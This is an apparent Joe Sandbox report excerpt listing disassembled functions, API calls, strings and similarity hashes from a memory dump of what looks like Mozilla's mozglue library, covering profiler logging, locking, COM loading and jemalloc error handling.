Function 6C51B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C55CC83,?,?,?,?,?,?,?,?,?,6C55BCAE,?,?,6C54DC2C), ref: 6C51B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C55CC83,?,?,?,?,?,?,?,?,?,6C55BCAE,?,?,6C54DC2C), ref: 6C51B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C55CC83,?,?,?,?,?,?,?,?,?,6C55BCAE), ref: 6C51B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C55CC83,?,?,?,?,?,?,?,?,?,6C55BCAE,?,?,6C54DC2C), ref: 6C51B896

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: b3f298a7bb5ab75b599486fda09da4398a91a807005d05a65eb4e4c388439edd
Instruction ID: 8e6553e78e90a9d86a7e7e8d8d99dccf4d0cffe1a679ca9e0efe82d89335763a
Opcode Fuzzy Hash: b3f298a7bb5ab75b599486fda09da4398a91a807005d05a65eb4e4c388439edd
Instruction Fuzzy Hash: D651BEB47052009FDB14EF18C888E2AB7F5FF89718B5A895DE98697751C730EC02CB80

Function 6C551D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C551D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C551BE3,?,?,6C551D96,00000000), ref: 6C551D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C551BE3,?,?,6C551D96,00000000), ref: 6C551D4C
GetCurrentThreadId.KERNEL32 ref: 6C551DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C551DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C551DDA

Part of subcall function 6C551EF0: GetCurrentThreadId.KERNEL32 ref: 6C551F03
Part of subcall function 6C551EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C551DF2,00000000,00000000), ref: 6C551F0C
Part of subcall function 6C551EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C551F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C551DF4

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: b0a02a09aed0b530eb03b5b26c42e8af46634e1e15794905484c9b32d7d98794
Instruction ID: eb6d9b90aeeddd56b6075d0cb38c2095faa78abfaa5dd724c33a6a8f5e45b4c3
Opcode Fuzzy Hash: b0a02a09aed0b530eb03b5b26c42e8af46634e1e15794905484c9b32d7d98794
Instruction Fuzzy Hash: 58417B75201710AFCB10DF24C888B56BBF9FB89314F51442EE95A87B41DB71F854CB95

Function 6C5484E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5484F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C54850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C54851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C54855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C54856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5485AC

Part of subcall function 6C547670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5485B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C54767F
Part of subcall function 6C547670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5485B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C547693
Part of subcall function 6C547670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5485B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5476A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5485B2

Part of subcall function 6C525E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C525EDB
Part of subcall function 6C525E90: memset.VCRUNTIME140(ewVl,000000E5,?), ref: 6C525F27
Part of subcall function 6C525E90: LeaveCriticalSection.KERNEL32(?), ref: 6C525FB2

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 2afca826284227c9935ae161372bb6f4d6f6b0c53cdc158622d4a23f17e19354
Instruction ID: 61596598f3dbabb25eb76be2af1b4bf1f30e1e03cfab76424d9df02972938716
Opcode Fuzzy Hash: 2afca826284227c9935ae161372bb6f4d6f6b0c53cdc158622d4a23f17e19354
Instruction Fuzzy Hash: 9E21D1703016019FDB14DB28DC88A9AB7B5AF8530CF15892DE55BC3B42EB31F948CB86

Function 6C511640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C511699
VerSetConditionMask.NTDLL ref: 6C5116CB
VerSetConditionMask.NTDLL ref: 6C5116D7
VerSetConditionMask.NTDLL ref: 6C5116DE
VerSetConditionMask.NTDLL ref: 6C5116E5
VerSetConditionMask.NTDLL ref: 6C5116EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5116F9

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 422778c1110384efd47eac552b24116c6f4bde08652c855c58eaffb06a085b22
Instruction ID: aef815f91eb61fe11cb5a56f30031b31ee8cb23227dae929c3eadaac6712773f
Opcode Fuzzy Hash: 422778c1110384efd47eac552b24116c6f4bde08652c855c58eaffb06a085b22
Instruction Fuzzy Hash: 532102B0740218ABFB116A648C89FBB73BCEFD6704F014528F6059B680D674AD54C6A1

Function 6C54F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C54F598), ref: 6C54F621

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

GetCurrentThreadId.KERNEL32 ref: 6C54F637
AcquireSRWLockExclusive.KERNEL32(6C58F4B8,?,?,00000000,?,6C54F598), ref: 6C54F645
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8,?,?,00000000,?,6C54F598), ref: 6C54F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C54F62A

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: ec2398bd674e43430b9502556a2bf30fe868695730bc74cd5abd7c5f7de464ed
Instruction ID: 8c2b1caf3c46e41d6699af5dfb1ce7c8c63e492a956d56fec540ed7aa7a5a1ce
Opcode Fuzzy Hash: ec2398bd674e43430b9502556a2bf30fe868695730bc74cd5abd7c5f7de464ed
Instruction Fuzzy Hash: CD11C431202224AFCB04AF58DD449E57B7DFB87358B515116EA0583F02CB31AC25CBA4

Function 6C512070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

LoadLibraryW.KERNEL32(combase.dll,6C511C5F), ref: 6C5120AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C5120CD
__Init_thread_footer.LIBCMT ref: 6C5120E1
FreeLibrary.KERNEL32 ref: 6C512124

Strings

CoInitializeSecurity, xrefs: 6C5120C7
combase.dll, xrefs: 6C5120A9

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: c1992ba12db05286dcdc0a76b7d2d4558df85174b4ace5f1ca9ea494d170776c
Instruction ID: b7b96916b471eb2cf0eddc61c2e15e6831d60734a6afe44fbad77dff3537f7f5
Opcode Fuzzy Hash: c1992ba12db05286dcdc0a76b7d2d4558df85174b4ace5f1ca9ea494d170776c
Instruction Fuzzy Hash: 11219A76202229EFEF11CF95DC4CD8A3B7AFB4B324F125214FA0492A91D7319861CF64

Function 6C5676C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5676F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C567705

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C567717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C56778F,00000000,00000000,00000000,00000000), ref: 6C567731
free.MOZGLUE(00000000), ref: 6C567760

Strings

}>Tl, xrefs: 6C5676C4

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Tl
API String ID: 2538299546-204987108
Opcode ID: 79748319214348d0750862c3de7244bc0ad707dd57c11b8121506e41683d4f24
Instruction ID: 32232609e8e13c59dbfaa0391faa3f3b7dd81018a6b0735ae9d7901342bce718
Opcode Fuzzy Hash: 79748319214348d0750862c3de7244bc0ad707dd57c11b8121506e41683d4f24
Instruction Fuzzy Hash: 2A11C8B1905225ABEB10AF768C44B6BBFE8EF46354F044529F848D7700F7719D4487E2

Function 6C511FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C511FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C511FFD
__Init_thread_footer.LIBCMT ref: 6C512011
FreeLibrary.KERNEL32 ref: 6C512059

Strings

CoCreateInstance, xrefs: 6C511FF7
combase.dll, xrefs: 6C511FD9

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 2979f24f087a9566da1ab77df96ed4f9d17c2606682f9e9ff62216a9c755a598
Instruction ID: 394bddc1fa4909aad98928842b50308b5de33bee03b26ee670b24b0c97213704
Opcode Fuzzy Hash: 2979f24f087a9566da1ab77df96ed4f9d17c2606682f9e9ff62216a9c755a598
Instruction Fuzzy Hash: DE11D0B4206224EFEF10DF55CC5CE5A3B78EB9B355F115229FD0582A81D7309810CF65

Function 6C510EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C53D9F0,00000000), ref: 6C510F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C510F3C
__Init_thread_footer.LIBCMT ref: 6C510F50
FreeLibrary.KERNEL32(?,6C53D9F0,00000000), ref: 6C510F86

Strings

combase.dll, xrefs: 6C510F18
CoInitializeEx, xrefs: 6C510F36

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 493a31e7597a943bece0cac50d8a8a4338825efc6104a9ba719775c4f2c3144c
Instruction ID: 6e45645091cdcc40abd95abd67c4136293c3d0705a6d4e7510a620d26f98ff62
Opcode Fuzzy Hash: 493a31e7597a943bece0cac50d8a8a4338825efc6104a9ba719775c4f2c3144c
Instruction Fuzzy Hash: DC11A07420B2609BEF00DF54CD0CA4E3778EB8F325F12572AE90592A82D730A815CA69

Function 6C54F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F561

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

GetCurrentThreadId.KERNEL32 ref: 6C54F577
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F585
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C54F56A
[I %d/%d] profiler_resume, xrefs: 6C54F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C54F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C54F3A8

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 543e372a39f940d0850f48952d6392ca4f4150f9b2946452e5f5d15aac94c4e8
Instruction ID: 30e4ce680e2015200256d49212d9420f7478070cfdbabba0d186b26fd69fdd62
Opcode Fuzzy Hash: 543e372a39f940d0850f48952d6392ca4f4150f9b2946452e5f5d15aac94c4e8
Instruction Fuzzy Hash: 5DF0B475202220AFDA007B68DC48AAA77BCFBCB39DF015112EA0583702DB354C048779

Function 6C510E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C510DF8), ref: 6C510E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C510EA1
__Init_thread_footer.LIBCMT ref: 6C510EB5
FreeLibrary.KERNEL32 ref: 6C510EC5

Strings

kernel32.dll, xrefs: 6C510E7D
GetProcessMitigationPolicy, xrefs: 6C510E9B

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 5066dbd611e54c35378f21d6ce3eeeed0fa7213a473f66805eeef41c013dde10
Instruction ID: 0f049f06bc9166d63fd8d89d737e7ba8131059f1dfb1a141c37db633571a9a0d
Opcode Fuzzy Hash: 5066dbd611e54c35378f21d6ce3eeeed0fa7213a473f66805eeef41c013dde10
Instruction Fuzzy Hash: AD012C747062A1CBFE009FD9CC58A4237B5F78F314F122716E915C2F40D774A418CA99

Function 6C54F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C54F598), ref: 6C54F621

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

GetCurrentThreadId.KERNEL32 ref: 6C54F637
AcquireSRWLockExclusive.KERNEL32(6C58F4B8,?,?,00000000,?,6C54F598), ref: 6C54F645
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8,?,?,00000000,?,6C54F598), ref: 6C54F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C54F62A

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 66db141f4b308d53c42db791c74be61a8bc14b8a9260adb5df84eece6051af22
Instruction ID: 0eb134916ea17371245fe8f9b00592b42f169679e575e99ec618c977b8d37e81
Opcode Fuzzy Hash: 66db141f4b308d53c42db791c74be61a8bc14b8a9260adb5df84eece6051af22
Instruction Fuzzy Hash: 68F0BE75202220AFDA007B68CC48A6A7BBCFBCB3ADF025112EA0583712CB364C058779

Function 6C5405F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C53CFAE,?,?,?,6C5031A7), ref: 6C5405FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C53CFAE,?,?,?,6C5031A7), ref: 6C540616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5031A7), ref: 6C54061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5031A7), ref: 6C540627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C54061B, 6C540625
<jemalloc>, xrefs: 6C5405FA, 6C54060F

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: a61c52744c51eb04bf1171a09496b09afa1ae4f0f298478586aa23bdb94fc202
Instruction ID: e9443c089e9ed0fd103f4c01d61283602bb1b5c4df7db4b058ad608b0db79351
Opcode Fuzzy Hash: a61c52744c51eb04bf1171a09496b09afa1ae4f0f298478586aa23bdb94fc202
Instruction Fuzzy Hash: 9CE08CE2A0202037F524225AAC86DBB761CDBC6134F080139FD0D82701EA4ABD1A51F6

